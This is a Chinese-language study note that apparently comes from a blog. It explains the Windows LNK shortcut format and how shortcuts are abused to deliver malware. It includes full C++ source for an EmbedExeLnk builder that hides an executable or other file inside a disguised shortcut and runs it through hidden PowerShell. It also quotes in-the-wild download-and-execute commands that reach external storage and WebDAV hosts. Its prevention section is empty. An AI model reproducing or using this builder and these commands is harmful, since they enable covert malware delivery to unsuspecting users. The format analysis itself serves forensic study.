# LNK file analyze & LNK malware analyze 2025.5.5 撰寫進度 80% 2025.5.24 撰寫進度 99% 隨緣補上詳細內容說明 這部分還是建議自己去看官方文件 ## 概念 透過 LNK file 來進一步下載或執行惡意檔案,以達到惡意行為的目的。 例如連線 C2 server 下載 malware、執行 C2 server 中的惡意腳本、執行 LNK file 中內嵌的惡意內容(embedexelnk)… ### 為甚麼使用 LNK 1. 正常介面中看不到副檔名 (.lnk) 2. icon 、 名稱都可以自訂 3. 好撰寫 ### 手法 通常使用 LOLBins(Living Off the Land Binaries) 來執行攻擊, 例如 cmd. powershell 等內建工具, 可透過填充大量空格,使查看內容時無法第一眼看出惡意行為, 在查看詳細內容中的目標欄位,最多只能顯示出259個字元(包含空格), 因此只須將惡意 payload 寫在超出的範圍後, 除非使用工具否則是不能查看該完整行為何的。 範例 `C:\Windows\System32\cmd.exe /c powershell.exe wget http://localhost:80/test.txt -OutFile C:\Users\betan\OneDrive\桌面\LNK\hack.txt && C:\Users\betan\OneDrive\桌面\LNK\hack.txt` ## LNK 結構 Header --> TargetIDList(optional) --> LinkInfo(optional) --> StringData(optional) --> ExtraData(optional) ### Header header有以下幾項 總長度為 76 bytes |項目|bytes|內容| |--|--|--| |HeaderSize|4|固定0x0000004C| |LinkCLSID|16|固定0x00021401-0000-0000-C000-000000000046| |**LinkFlags**|4|定義後續結構(注2) |FileAttributes|4|說明目標文件狀態 |CreationTime|8|就是時間 |AccessTime|8|就是時間 |WriteTime|8|就是時間 |FileSize|4|路徑目標大小 |IconIndex|4|LNK ICON(通常為0) |ShowCommand|4|設定目標如何啟動(內容固定為0x1, 0x3, 0x7) |HotKey|2|開啟捷徑快捷鍵(注1) |Reserved1|2|保留字元,必為0 |Reserved2|4|保留字元,必為0 |Reserved3|4|保留字元,必為0 ![image](https://hackmd.io/_uploads/Hkvyaaskxl.png) 注1: **須將連結放置在桌面上才能生效**,LowByte (1 byte)為鍵盤按鍵(例如A,B,C...) 、HighByte (1 byte) 為 控制按鍵(ctrl, shift, alt),假設設定成0x4301,代表同時按下 shift + B 即可開啟該連結,且不論在哪個視窗下按下去都能開啟該連結 注2: LinkFlags內容 | 項目 | Value (Hex) | 說明 | | ----------------------------- | ------------ | -------------------------------- | | `HasLinkTargetIDList` | `0x00000001` | 指出是否包含 `LinkTargetIDList`。 | | `HasLinkInfo` | `0x00000002` | 指出是否包含 `LinkInfo` 結構。 | | `HasName` | `0x00000004` | 指出是否包含NAME_STRING (StringData 中)。 | | `HasRelativePath` | `0x00000008` | 指出是否包含RELATIVE_PATH(StringData 中)。 | | `HasWorkingDir` | `0x00000010` | 指出是否包含WORKING_DIR(StringData 中)。 | | `HasArguments` | `0x00000020` | 指出是否包含COMMAND_LINE_ARGUMENTS(StringData 中)。 | | `HasIconLocation` | `0x00000040` | 指出是否包含ICON_LOCATION(StringData 中)。 | | `IsUnicode` | `0x00000080` | 字串使用 Unicode 格式(StringData 中)。 | | `ForceNoLinkInfo` | `0x00000100` | 忽略 `LinkInfo` 欄位,即使存在也不使用。 | | `HasExpString` | `0x00000200` | 存在擴充字串資料(ExtraData 區域中)。 | | `RunInSeparateProcess` | `0x00000400` | 要求在獨立行程中執行目標。 | | `Unused1` | `0x00000800` | 保留,未使用。 | | `HasDarwinID` | `0x00001000` | 有 Darwin Descriptor(通常用於安裝路徑修復)。 | | `RunAsUser` | `0x00002000` | 以不同使用者身分執行(需要 UAC)。 | | `HasExpIcon` | `0x00004000` | 有擴充的圖示資料。 | | `NoPidlAlias` | `0x00008000` | 禁止使用 PIDL 的別名。 | | `RunWithShimLayer` | `0x00020000` | 使用 shim 層(相容性)。 | | `ForceNoLinkTrack` | `0x00040000` | 禁用追蹤功能(Link Tracking)。 | | `EnableTargetMetadata` | `0x00080000` | 啟用目標檔案中繼資料的使用。 | | `DisableLinkPathTracking` | `0x00100000` | 停用路徑追蹤。 | | `DisableKnownFolderTracking` | `0x00200000` | 停用已知資料夾追蹤。 | | `DisableKnownFolderAlias` | `0x00400000` | 停用已知資料夾的別名。 | | `AllowLinkToLink` | `0x00800000` | 容許鏈接目標是另一個 LNK。 | | `UnaliasOnSave` | `0x01000000` | 儲存時取消別名。 | | `PreferEnvironmentPath` | `0x02000000` | 優先使用環境變數指定的路徑。 | | `KeepLocalIDListForUNCTarget` | `0x04000000` | 保留 UNC 目標的本地 ID 清單。 | 查表解釋: **後續也都是這種格式** 先將 hex 內容換算成 bin(二進制) 假設換算後是1000 0000 0000 1001 1011 那就是去對應相對的內容 看哪個是 `1` 就代表有哪個 以上述這個例子為例,對回去找就是有 LinkFlags: ['HasLinkTargetIDList', 'HasLinkInfo', 'HasRelativePath', 'HasWorkingDir', 'IsUnicode', 'EnableTargetMetadata'] ### TargetIDList 需在 LinkFlags 定義有 HasTargetIDList 才會有該項目, 接續在 Header 後, 前 2 bytes 為整個 TargetIDList長度, 再來的內容都是不斷重複 長度(2 bytes)、內容(根據前面定義的長度),直到最後跑完整個先前定義的長度。 IDList的內容為目標路徑的所有分別路徑 比如說今天目標在`C:\Users\betan\Downloads\Ibuki.gif` 那麼 IDlist 就會有五個部分,分別是`CLSID`、`C:\`、`Users\`、`betan\`、`Downloads\`、`Ibuki.gif` **理論上是這樣** 但值得注意的是,實際上 IDlist 中的內容並不是單純的完整路徑內容,而是會使用 `Shell namespace` 的方法來命名,但你還是能直接透過去查看 Unicode 的字串符來辨別出現在這個 IDlist 是指哪部分 這邊引用一下[參考資料](https://syedhasan010.medium.com/forensics-analysis-of-an-lnk-file-da68a98b8415)內容 :::info However, these references aren’t simple fully qualified paths (e.g., C:\ABC\aFile.txt). Rather, the Shell namespace organizes files (or objects) such that each file is known by its ItemID (the GetDisplayNameOf method within the IShellFolder interface can be used to convert pointers to these IDs to readable display names). ::: TargetIDList結構 |項目|bytes|內容| |--|--|--| |IDListSize|2|後續長度| |IDList (variable) |不一定|所有路徑分開| 例如範例中的 0x00E7 (由於 little endian 所以要倒著看)代表整個 TargetIDList 的長度為 0xE7, 而接下來的 0x14 則表示了 item 1 的整個長度為 0x14 bytes (包含定義長度的 2 bytes ), 0x4E ~ 0x61 即為 item 1 的完整內容, 而剩下的 item 也都是同樣格式,一直到跑完整個TargetIDList 的長度。 ![image](https://hackmd.io/_uploads/S1ACKBdZel.png) ### LinkInfo LinkInfo 結構 |項目|bytes|內容| |--|--|--| |LinkInfoSize|4|整個LinkInfo長度 |LinkInfoHeaderSize|4|Header的總長度 0x1c≤size≤0x24 |LinkInfoFlags|4|定義後續是否有VolumeID& LocalBasePath, LocalBasePathUnicode& CommonNetworkRelativeLink(注1) |VolumeIDOffset|4|如果上一項有定義則寫出偏移, 否則為0 |LocalBasePathOffset|4|同上 |CommonNetworkRelativeLinkOffset|4|同上 |CommonPathSuffixOffset|4|同上 |LocalBasePathOffsetUnicode (optional)|4|說明偏移量。需要 LinkInfoHeaderSize 長度大於等於 0x24 才會有這項 |CommonPathSuffixOffsetUnicode (optional)|4|基本同上 |上述內容皆為 LinkInfoHeader 的內容| |VolumeID (variable)||磁碟資訊(注2) |LocalBasePath (variable)||絕對路徑 |CommonNetworkRelativeLink (variable)||(注3) |CommonPathSuffix (variable)| |LocalBasePathUnicode (variable)| |CommonPathSuffixUnicode (variable)| 注1: 但由於LinkInfoFlags中也只有兩個項目,因此它的內容也就只有四種可能 `0000`,`0100`,`0200`,`0300` ### StringsData 惡意行為主要會在這部分 透過先前在 `LinkFlags` 定義的內容,檢查是否有 內容總共有五項 `NAME_STRING`, `RELATIVE_PATH`, `WORKING_DIR`, `COMMAND_LINE_ARGUMENTS`, `ICON_LOCATION` 結構都為,前 2 bytes 定義後續長度,後續直接接上相同長度的內容,而內容基本上都是明文的路徑,因此這邊就不過多贅述。 **長度不包含自己** **需特別注意的是,若在`LinkFlags`中有 `IsUnicode`, 則整體長度都會是定義的兩倍長** 因為 unicode 是2 bytes 算為一個字元的,因此才需要 *2 |名稱|內容| |--|--| |NAME_STRING|詳細資訊內容 RELATIVE_PATH|目標檔案 WORKING_DIR|執行時的目錄 COMMAND_LINE_ARGUMENTS|對目標檔案的命令列 ICON_LOCATION|圖示位置 ![image](https://hackmd.io/_uploads/S1lnPTyMgl.png) ### ExtraData 由 `EXTRA_DATA` 與 `TERMINAL_BLOCK` `TERMINAL_BLOCK` 內容基本上沒有 因此這邊不特別講述,以下是官方文件原文 :::info TerminalBlock (4 bytes): A 32-bit, unsigned integer that indicates the end of the extra data section. This value MUST be less than 0x00000004. ::: 我們這邊特別展開說明 `EXTRA_DATA` ,其內容可細稱為 `ExtraDataBlock` 其內容前4 bytes 為說明長度,後 4 bytes 為 `BlockSignature`,極為說明此區段 ExtraData 是哪一種類型(有十一種),後續則根據不同類型而有不同的內容。 注意: size的內容有包含自己 因此是從自身開始算的 |Name|BlockSignature|內容| length| |--|--|--|--| |ConsoleDataBlock| 0xA0000002||長度固定 0xCC| |ConsoleFEDataBlock|0xA0000004||0xC DarwinDataBlock|0xA0000006||0x314| EnvironmentVariableDataBlock| 0xA0000001||0x314 IconEnvironmentDataBlock|0xA0000007||0x314 KnownFolderDataBlock|0xA000000B||0x1C PropertyStoreDataBlock| 0xA0000009||>=0xC ShimDataBlock|0xA0000008 ||>=0x88 SpecialFolderDataBlock|0xA0000005||0x10 TrackerDataBlock| 0xA0000003||0x60 VistaAndAboveIDListDataBlock|0xA000000C||>=0xA ## EmbedExeLnk ### 概念 透過直接內嵌 exe file 到 LNK file 的末尾中,以達到不需要到 C2 下載檔案就能執行 malware 的操作 但其實也不一定要 exe file 才可以,基本上任何格式的內容都可以嵌到 LNK file 的末端 ### LinkFlags - LinkFlag - HasName (用於新增描述) - saved with a name string, NAME_STRING StringData structure must be present - HasArguments (使用環境變數) - has command line arguments,COMMAND_LINE_ARGUMENTS StringData structure must be present - HasIconLocation (自訂 Icon) - ICON_LOCATION StringData structure MUST be present - IsUnicode - StringData contains Unicode-encoded strings - HasExpString - 有環境變數內容,需再EnvironmentVariableDataBlock設定 - PreferEnvironmentPath - 沒有ID list,用環境變數替代 **不使用常見的TargetIDList ,而是透過 `PreferEnvironmentPath` 將內容丟到 StringsData** ### Command line arguments ```bash= /c start notepad C:\\%%HOMEPATH%%\\AppData\\Local\\Google\\Chrome\\User Data\\ZxcvbnData\\3\\passwords.txt && powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00000000} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 000000)) -Encoding Byte; ^& $path; ``` ![image](https://hackmd.io/_uploads/B1c36LQege.png) ### 結構分析 header --> description_length --> description --> CommandLineArguments --> IconLocationLength --> IconLocation --> EnvironmentVariableDataBlock --> ExeFile - Header (0 ~ 4B bytes) - ![image](https://hackmd.io/_uploads/SJ4Tk3Qxex.png) - StringData - NAME_STRING (4C ~ CF bytes) - 解釋一下長度, 0x41 = 65 ,然後我們需要將長度*2才會是後續內容的長度,因此 65 * 2 = 130 , 後續內容從 4E ~ D0 的長度就剛好是130 - ![image](https://hackmd.io/_uploads/HkomB6Qegx.png) - StringData - COMMAND_LINE_ARGUMENTS (D0 ~ 885 bytes) - ![image](https://hackmd.io/_uploads/H1_HOTXgxg.png) - StringData - ICON_LOCATION (886 ~ 885 bytes) - ![image](https://hackmd.io/_uploads/Syxu9ZLelx.png) - ExtraData - ENVIRONMENT_PROPS (8C2 ~ BD6 bytes) - ![image](https://hackmd.io/_uploads/SyuPc6Xgle.png) - exe file (BD6 ~ FDD6 bytes) - xor 0x 77 後的內容,這邊就不過多贅述 - ![image](https://hackmd.io/_uploads/r1HFcpXexx.png) ### 改良 現在不只內嵌exe,我們改嵌更大的檔案,這邊使用mp4作範例(亦可使用其他類型檔案,例如zip, jpg...),而因為檔案更大了,因此我們這邊就不對內容進行加密,不然解密會需要等很久,並且修該查找內嵌檔案的方式,以達到讓開啟惡意payload的速度更快。 Command line arguments: ``` L"%512S/c powershell -windowstyle hidden -Command $f = [System.IO.File]::ReadAllBytes((Get-ChildItem *.lnk ^| ? { $_.Length -eq 0x00000000 }).FullName); $mp4 = \\\"$env:TEMP\\\\tmp$((Get-Random)).mp4\\\"; [System.IO.File]::WriteAllBytes($mp4, $f[000000..($f.Length - 1)]); Start-Process $mp4; ", ``` <details> <summary>點擊展開程式碼</summary> ```Cpp= #include <stdio.h> #include <iostream> #include <windows.h> #define INVALID_SET_FILE_POINTER 0xFFFFFFFF #define HasName 0x00000004 #define HasArguments 0x00000020 #define HasIconLocation 0x00000040 #define IsUnicode 0x00000080 #define HasExpString 0x00000200 #define PreferEnvironmentPath 0x02000000 #pragma warning(disable:4996) struct ShellLinkHeaderStruct { DWORD dwHeaderSize; CLSID LinkCLSID; DWORD dwLinkFlags; DWORD dwFileAttributes; FILETIME CreationTime; FILETIME AccessTime; FILETIME WriteTime; DWORD dwFileSize; DWORD dwIconIndex; DWORD dwShowCommand; WORD wHotKey; WORD wReserved1; DWORD dwReserved2; DWORD dwReserved3; }; const wchar_t* GetWC(const char* c) { const size_t cSize = strlen(c) + 1; wchar_t* wc = new wchar_t[cSize]; mbstowcs(wc, c, cSize); return wc; } struct EnvironmentVariableDataBlockStruct { DWORD dwBlockSize; DWORD dwBlockSignature; char szTargetAnsi[MAX_PATH]; wchar_t wszTargetUnicode[MAX_PATH]; }; DWORD CreateLinkFile(char* pMp4Path, char* pOutputLinkPath, char* pLinkIconPath, char* pLinkDescription) { HANDLE hLinkFile = NULL; HANDLE hMp4File = NULL; ShellLinkHeaderStruct ShellLinkHeader; EnvironmentVariableDataBlockStruct EnvironmentVariableDataBlock; DWORD dwBytesWritten = 0; WORD wLinkDescriptionLength = 0; wchar_t wszLinkDescription[512]; WORD wCommandLineArgumentsLength = 0; wchar_t wszCommandLineArguments[8192]; WORD wIconLocationLength = 0; wchar_t wszIconLocation[512]; BYTE bExeDataBuffer[1024]; DWORD dwBytesRead = 0; DWORD dwEndOfLinkPosition = 0; DWORD dwCommandLineArgsStartPosition = 0; wchar_t* pCmdLinePtr = NULL; wchar_t wszOverwriteSkipBytesValue[16]; wchar_t wszOverwriteSearchLnkFileSizeValue[16]; BYTE bXorEncryptValue = 0; DWORD dwTotalFileSize = 0; // set xor encrypt value bXorEncryptValue = 0x77; // create link file hLinkFile = CreateFileA(pOutputLinkPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hLinkFile == INVALID_HANDLE_VALUE) { printf("Failed to create output file\n"); return 1; } // initialise link header memset((void*)&ShellLinkHeader, 0, sizeof(ShellLinkHeader)); ShellLinkHeader.dwHeaderSize = sizeof(ShellLinkHeader); CLSIDFromString(L"{00021401-0000-0000-C000-000000000046}", &ShellLinkHeader.LinkCLSID); ShellLinkHeader.dwLinkFlags = HasArguments | HasExpString | PreferEnvironmentPath | IsUnicode | HasName | HasIconLocation; ShellLinkHeader.dwFileAttributes = 0; ShellLinkHeader.CreationTime.dwHighDateTime = 0; ShellLinkHeader.CreationTime.dwLowDateTime = 0; ShellLinkHeader.AccessTime.dwHighDateTime = 0; ShellLinkHeader.AccessTime.dwLowDateTime = 0; ShellLinkHeader.WriteTime.dwHighDateTime = 0; ShellLinkHeader.WriteTime.dwLowDateTime = 0; ShellLinkHeader.dwFileSize = 0; ShellLinkHeader.dwIconIndex = 0; ShellLinkHeader.dwShowCommand = SW_SHOWMINNOACTIVE; ShellLinkHeader.wHotKey = 0; // write ShellLinkHeader if (WriteFile(hLinkFile, (void*)&ShellLinkHeader, sizeof(ShellLinkHeader), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // set link description memset(wszLinkDescription, 0, sizeof(wszLinkDescription)); mbstowcs(wszLinkDescription, pLinkDescription, (sizeof(wszLinkDescription) / sizeof(wchar_t)) - 1); wLinkDescriptionLength = (WORD)wcslen(wszLinkDescription); // write LinkDescriptionLength if (WriteFile(hLinkFile, (void*)&wLinkDescriptionLength, sizeof(WORD), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // write LinkDescription if (WriteFile(hLinkFile, (void*)wszLinkDescription, wLinkDescriptionLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // set target command-line char* homepath = getenv("homepath"); if (homepath == NULL) { /* variable HOMEPATH has not been defined */ } wchar_t* widechar = (wchar_t*)GetWC(homepath);; memset(wszCommandLineArguments, 0, sizeof(wszCommandLineArguments)); _snwprintf( wszCommandLineArguments, (sizeof(wszCommandLineArguments) / sizeof(wchar_t)) - 1, L"%512S/c powershell -windowstyle hidden -Command $f = [System.IO.File]::ReadAllBytes((Get-ChildItem *.lnk ^| ? { $_.Length -eq 0x00000000 }).FullName); $mp4 = \\\"$env:TEMP\\\\tmp$((Get-Random)).mp4\\\"; [System.IO.File]::WriteAllBytes($mp4, $f[000000..($f.Length - 1)]); Start-Process $mp4; ", L"" ); std::wcout << wszCommandLineArguments << "\n"; wCommandLineArgumentsLength = (WORD)wcslen(wszCommandLineArguments); if (WriteFile(hLinkFile, (void*)&wCommandLineArgumentsLength, sizeof(WORD), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // store start of command-line arguments position dwCommandLineArgsStartPosition = GetFileSize(hLinkFile, NULL); // write CommandLineArguments if (WriteFile(hLinkFile, (void*)wszCommandLineArguments, wCommandLineArgumentsLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // set link icon path memset(wszIconLocation, 0, sizeof(wszIconLocation)); mbstowcs(wszIconLocation, pLinkIconPath, (sizeof(wszIconLocation) / sizeof(wchar_t)) - 1); wIconLocationLength = (WORD)wcslen(wszIconLocation); // write IconLocationLength if (WriteFile(hLinkFile, (void*)&wIconLocationLength, sizeof(WORD), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // write IconLocation if (WriteFile(hLinkFile, (void*)wszIconLocation, wIconLocationLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // initialise environment variable data block memset((void*)&EnvironmentVariableDataBlock, 0, sizeof(EnvironmentVariableDataBlock)); EnvironmentVariableDataBlock.dwBlockSize = sizeof(EnvironmentVariableDataBlock); EnvironmentVariableDataBlock.dwBlockSignature = 0xA0000001; strncpy(EnvironmentVariableDataBlock.szTargetAnsi, "%windir%\\system32\\cmd.exe", sizeof(EnvironmentVariableDataBlock.szTargetAnsi) - 1); mbstowcs(EnvironmentVariableDataBlock.wszTargetUnicode, EnvironmentVariableDataBlock.szTargetAnsi, (sizeof(EnvironmentVariableDataBlock.wszTargetUnicode) / sizeof(wchar_t)) - 1); // write EnvironmentVariableDataBlock if (WriteFile(hLinkFile, (void*)&EnvironmentVariableDataBlock, sizeof(EnvironmentVariableDataBlock), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // store end of link data position dwEndOfLinkPosition = GetFileSize(hLinkFile, NULL); // open target mp4 file hMp4File = CreateFileA(pMp4Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hMp4File == INVALID_HANDLE_VALUE) { printf("Failed to open mp4 file\n"); // 修改訊息 // error CloseHandle(hLinkFile); return 1; } // append mp4 file to the end of the lnk file for (;;) { // read data from mp4 file if (ReadFile(hMp4File, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0) { // error CloseHandle(hMp4File); CloseHandle(hLinkFile); return 1; } // check for end of file if (dwBytesRead == 0) { break; } // "encrypt" the mp4 file data //for (DWORD i = 0; i < dwBytesRead; i++) //{ // bExeDataBuffer[i] ^= bXorEncryptValue; //} // write data to lnk file if (WriteFile(hLinkFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0) { // error CloseHandle(hMp4File); CloseHandle(hLinkFile); return 1; } } // close mp4 file handle CloseHandle(hMp4File); // store total file size dwTotalFileSize = GetFileSize(hLinkFile, NULL); // find the offset value of the number of bytes to skip in the command-line arguments pCmdLinePtr = wcsstr(wszCommandLineArguments, L"$f[000000.."); if (pCmdLinePtr == NULL) { CloseHandle(hLinkFile); return 1; } pCmdLinePtr += wcslen(L"$f["); // 移動到 offset 該寫的位置 if (SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { CloseHandle(hLinkFile); return 1; } // 產生 offset 值,例如 "002690" _snwprintf(wszOverwriteSkipBytesValue, ARRAYSIZE(wszOverwriteSkipBytesValue), L"%06u", dwEndOfLinkPosition); // 寫入 offset if (!WriteFile(hLinkFile, wszOverwriteSkipBytesValue, wcslen(wszOverwriteSkipBytesValue) * sizeof(wchar_t), &dwBytesWritten, NULL)) { CloseHandle(hLinkFile); return 1; } // move the file pointer back to the "000000" value in the command-line arguments if (SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { // error CloseHandle(hLinkFile); return 1; } // overwrite link file size memset(wszOverwriteSkipBytesValue, 0, sizeof(wszOverwriteSkipBytesValue)); _snwprintf(wszOverwriteSkipBytesValue, (sizeof(wszOverwriteSkipBytesValue) / sizeof(wchar_t)) - 1, L"%06u", dwEndOfLinkPosition); if (WriteFile(hLinkFile, (void*)wszOverwriteSkipBytesValue, wcslen(wszOverwriteSkipBytesValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // find the offset value of the total lnk file length in the command-line arguments pCmdLinePtr = wcsstr(wszCommandLineArguments, L"$_.Length -eq 0x00000000"); if (pCmdLinePtr == NULL) { // error CloseHandle(hLinkFile); return 1; } pCmdLinePtr += wcslen(L"$_.Length -eq "); // 移動檔案指標到要寫入檔案長度的位置 if (SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { CloseHandle(hLinkFile); return 1; } // 寫入檔案總長度(例如:0x00221E28) _snwprintf(wszOverwriteSearchLnkFileSizeValue, ARRAYSIZE(wszOverwriteSearchLnkFileSizeValue), L"0x%08X", dwTotalFileSize); // 寫入 if (!WriteFile(hLinkFile, wszOverwriteSearchLnkFileSizeValue, wcslen(wszOverwriteSearchLnkFileSizeValue) * sizeof(wchar_t), &dwBytesWritten, NULL)) { CloseHandle(hLinkFile); return 1; } // move the file pointer back to the "0x00000000" value in the command-line arguments if (SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { // error CloseHandle(hLinkFile); return 1; } // overwrite link file size memset(wszOverwriteSearchLnkFileSizeValue, 0, sizeof(wszOverwriteSearchLnkFileSizeValue)); _snwprintf(wszOverwriteSearchLnkFileSizeValue, (sizeof(wszOverwriteSearchLnkFileSizeValue) / sizeof(wchar_t)) - 1, L"0x%08X", dwTotalFileSize); if (WriteFile(hLinkFile, (void*)wszOverwriteSearchLnkFileSizeValue, wcslen(wszOverwriteSearchLnkFileSizeValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // error CloseHandle(hLinkFile); return 1; } // close output file handle CloseHandle(hLinkFile); return 0; } int main(int argc, char* argv[]) { char* pMp4Path = NULL; char* pOutputLinkPath = NULL; printf("EmbedExeLnk - www.x86matthew.com\n\n"); if (argc != 3) { printf("Usage: %s [exe_path] [output_lnk_path]\n\n", argv[0]); return 1; } // get params pMp4Path = argv[1]; pOutputLinkPath = argv[2]; // create a link file containing the target exe if (CreateLinkFile(pMp4Path, pOutputLinkPath, (char*)"%windir%\\system32\\notepad.exe", (char*)"Type: Text Document\nSize: 5.23 KB\nDate modified: 01/02/2020 11:23") != 0) { printf("Error\n"); return 1; } printf("Finished\n"); return 0; } ``` </details> ## 實例 ### 沒樣本qq 只能看 vt 而已 - PuppetFox - 3d8db6e02bd11a4366b02bfb94593ff410d183a94134933121c806a5f175f8a3 - RolandSkimmer - 86fedcd08d32eeff8a4caa9c2d4ae65b6cea89698570e8ce172a4e82c7f296f1 - Confucius - 4206ab93ac9781c8367d8675292193625573c2aaacf8feeaddd5b0cc9136d2d1 ### 野外找樣本 - Scanned-Doc-t00778886867-QUO.LNK - 3107d53f9e37c496f08e3742c379976a80f7297c192aba5b8eb7c5f29af18f33 ![image](https://hackmd.io/_uploads/HJtspOGeel.png) ``` powershell -WindowStyle hidden -Command (new-object System.Net.WebClient).DownloadFile(''https://link.storjshare.io/raw/jvkur67ttk7yuzdriwaa3ufnlwra/my-newupload/newfile.txt'',''C:\\ProgramData\\HEW.GIF''); $file = ''C:\\ProgramData\\HEW.GIF''; [System.Convert]::FromBase64String((Get-Content $file)) | Set-Content C:\\ProgramData\\CHROME.PIF -Encoding Byte; start C:\\ProgramData\\CHROME.PIF;' ``` 使用不同暫時託管儲存空間 ![image](https://hackmd.io/_uploads/By9hfKzexe.png) - ARTIKEL-1.png.lnk - 9b241294eb9aa3f4fc2d75701258e8d4700c7430343b67f2962b19fb5016e0f2 透過 ssh 連線惡意主機,去執行其中的惡意 aht.wsh 腳本 ``` Target ansi: \\seven-tx-wicked-rwanda.trycloudflare.com@SSL\DavWWWRoot\32\aht.wsh ``` - [Embedexelnk] Court order No.RY4577-71 (mandatory to comply - 4a07b3fbfd385f067e892a385d63667ba9a6d89f9d49f3736de84c94282e28e5 與先前提及的 Embedexelnk 手段相似, 只是變成是在最後嵌入 zip file,而在後續則是改成解壓縮該zip的內容並執行。 ``` powershell -windowstyle hidden $jhelpfule=[system.io.file]::ReadAllBytes((dir *.lnk ^| ? {$_.length -ge 00202000} ^| select -ExpandProperty FullName)); $oprototypez = ''%LOCALAPPDATA%\tmp'' + (Get-Random) + ''.zip''; $oprototypez = [Environment]::ExpandEnvironmentVariables($oprototypez); $vplanz = [System.IO.Path]::GetDirectoryName($oprototypez); [System.IO.File]::WriteAllBytes($oprototypez, $jhelpfule[ 3478..($jhelpfule.length)]); cd $vplanz;Expand-Archive $oprototypez . -EA 0 -Force ^| Out-Null; del $oprototypez -EA 0 -Force ^| Out-Null; ^& .\5.9.82.114.exe' ``` ![image](https://hackmd.io/_uploads/SJFOx_Qxel.png) ## 預防 ## 參考檔案 [How to use Shortcut LNK Files on Windows - Malware Delivery Initial Access](https://www.youtube.com/watch?v=E_cbBlUkWjk&ab_channel=GeminiCyberSecurity) [EmbedExeLnk - 在LNK内嵌入EXE并自动执行 ](https://bbs.huorong.cn/thread-98649-1-1.html) [d4rkiZ/EmbedExeLnk](https://github.com/d4rkiZ/EmbedExeLnk-) [LNK File Analysis: LNKing It Together!](https://syedhasan010.medium.com/forensics-analysis-of-an-lnk-file-da68a98b8415) [Hunting Malicious Shortcut (.LNK) Files Using the VirusTotal API ](https://medium.com/maverislabs/hunting-malicious-shortcut-lnk-files-using-the-virustotal-api-970d3799d5a5)